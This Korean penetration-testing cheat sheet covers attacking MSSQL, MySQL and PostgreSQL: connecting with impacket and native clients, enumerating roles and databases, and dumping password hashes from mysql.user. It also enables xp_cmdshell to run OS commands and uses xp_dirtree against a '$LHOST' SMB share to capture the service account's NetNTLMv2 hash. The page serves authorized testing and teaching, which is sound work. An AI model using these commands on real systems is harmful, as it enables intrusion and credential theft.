Notes / Penetration Testing

데이터베이스 공격 도구 치트시트

MSSQL·MySQL·PostgreSQL에 접속해 권한·데이터를 열거하고, 허용된 범위에서 명령 실행·파일 접근 가능성을 점검하는 DB 공격 명령을 정리합니다.

DB는 “접속 → 권한/데이터 열거 → (가능하면) 명령 실행·파일 접근” 순으로 봅니다. 애플리케이션 설정에서 나온 DB 계정이 다른 서비스에도 재사용되는지가 핵심입니다. 식별자는 전부 플레이스홀더입니다.

개념

flowchart LR
  A[접속] --> E[권한/DB 열거]
  E --> D[데이터·자격증명]
  E --> X[명령 실행/파일]
  D -.재사용.-> E
  • DB 계정의 권한 수준을 먼저 확인(일반 vs 관리자).
  • 설정·테이블에서 다른 서비스 자격증명이 자주 나옵니다 → 재사용 검증.
  • 명령 실행·파일 접근은 DBMS별 기능이라 조건을 확인한 뒤 신중히.

공격·우회 구문

허가된 범위에서만.

MSSQL — impacket

# 윈도우 인증으로 접속
impacket-mssqlclient corp.local/$USER:'Password123'@$TARGET -windows-auth

접속 후, 명령 실행 기능은 기본 비활성이라 관리자 권한일 때만 켤 수 있습니다(허용 범위에서).

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

판단 포인트: xp_dirtree '\\$LHOST\share' 로 DB 서비스 계정이 내 쪽에 SMB 인증을 하도록 유도하면 NetNTLMv2 해시를 받을 수 있습니다(캡처는 내 쪽 리스너). 명령 실행이 막혀도 이 경로가 열릴 때가 있습니다.

MySQL

mysql -u $USER -p'Password123' -h $TARGET -P 3306
SELECT current_user(); SELECT version();
SELECT user, authentication_string FROM mysql.user;  -- 권한 있을 때
SHOW DATABASES;

PostgreSQL

psql "host=$TARGET port=5432 user=$USER password=Password123 dbname=postgres"
SELECT current_user; SELECT version();
\l            -- 데이터베이스 목록
\du           -- 롤·권한

판단 포인트: 내부 전용(localhost 바인딩) DB는 외부 스캔에 안 잡힙니다. 호스트에 올라선 뒤 netstat로 로컬 리스닝 포트를 보고, 피벗/포트포워딩으로 접근합니다.

함께 보기

참고 자료